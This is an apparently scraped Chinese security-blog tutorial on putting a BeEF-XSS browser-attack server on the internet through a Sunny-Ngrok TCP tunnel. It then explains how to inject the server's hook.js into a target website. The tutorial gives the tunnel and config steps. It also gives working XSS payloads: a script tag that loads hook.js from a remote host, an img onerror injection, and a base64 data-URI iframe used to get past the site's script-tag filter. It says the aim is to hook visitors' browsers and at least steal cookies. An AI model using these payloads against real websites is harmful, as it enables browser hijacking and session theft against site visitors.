45

Beef-XSS+Sunny-Ngrok实现内网穿透

 5 years ago
source link: https://www.tuicool.com/articles/JVzIvaR
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Beef-XSS框架无疑是当今最强大的浏览器攻击框架,网络上也存在很多关于它的教程,但是大部分都是基于内网环境下的教学,这就使得攻击效果大打折扣,另外大部分XSS教程只是实现一个aler(1)便证明达到了效果,而Beef-XSS要保证完整效果就要加载hook.js文件,在存在一定过滤的情况下,这是有一定难度的。于是便有了今天的文章,希望对大家有所帮助。

0×00 实验工具

kali linux v2.0    

beef-xss

sunny-ngrok: http://www.ngrok.cc

0×01 开通tcp代理,并下载客户端进行内网穿透

都是老司机注册这里就不说了,直接讲如何开通tcp代理。

点击管理面板左侧栏里的隧道管理—>开通隧道,点击右下角那个免费的点击开通,当然如果你觉得想要稳定的可以选择付费版:

B7VFvyB.jpg!web 接下来我们要对隧道进行配置,选择tcp协议,隧道名称和端口号自己填,如果端口号已经被占用,点击确定后会有提示:

na2yyiu.jpg!web 注意这里远程端口号要和本地端口号保持一致,正常情况下可以不用这么填,但是hook.js在发送请求的时候会在后面自动追加端口号,造成无法成功请求,所以我就干脆设置成一样的了。

下图这个clientid要保存好等下连接的时候要用。

ymYBRv7.jpg!web 接下来就是下载客户端,进行连接了。在这个地址( http://www.ngrok.cc/download.html )下载相应的客户端版本。

具体命令是:

./sunny clientid 隧道id

6fMv6fy.jpg!web

0×02 自定义监听端口,开启beef-xss

在启动beef-xss之前,我么们要修改下配置文件中的端口。配置文件位置:/etc/beef-xss/config.yaml。

用vim打开修改port后面的端口数就好了:

BRZrMz3.jpg!web

现在我们直接启动beef-xss就好了,这个就很简单了直接输入beef-xss回车: JzEv2uJ.jpg!web

接下来我们只要把hook.js脚本想办法加载到目标网站就可以实现对浏览器的攻击了,最起码get个cookie还是不成问题的。

0×03 绕过脚本过滤,实现基于beef的xss攻击

一般来说我们要加载一个js文件只需加入下边一行代码就可以:

<script type="text/javascript" src="http://yoururl.com/hook.js"></script>

但今天准备的网站对<script>的标签进行了过滤,不能实现直接注入:

ieqiueB.jpg!web

6nErIby.jpg!web 在这种情况下想调用个方法还是很简单的,比如alert(1);只需用img标签的onerror就可实现,代码如下:

<img src=x onerror=alert(1); />

vyiAF3a.jpg!web

可当我们想要加载的一个js文件时,这样的方法是无法实现的,于是想到了利用iframe的特性,来加密脚本从而实现加载。代码如下:

<iframe src="data:text/html;base64,这里加你的经过base64加密过的脚本代码"></iframe>

f6Rfeu7.jpg!web

执行成功,如图我们控制台已经成功连接:

RNV7nab.jpg!web 至此,就可以进行深入的浏览器攻击了!

*本文原创作者:kaliking,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK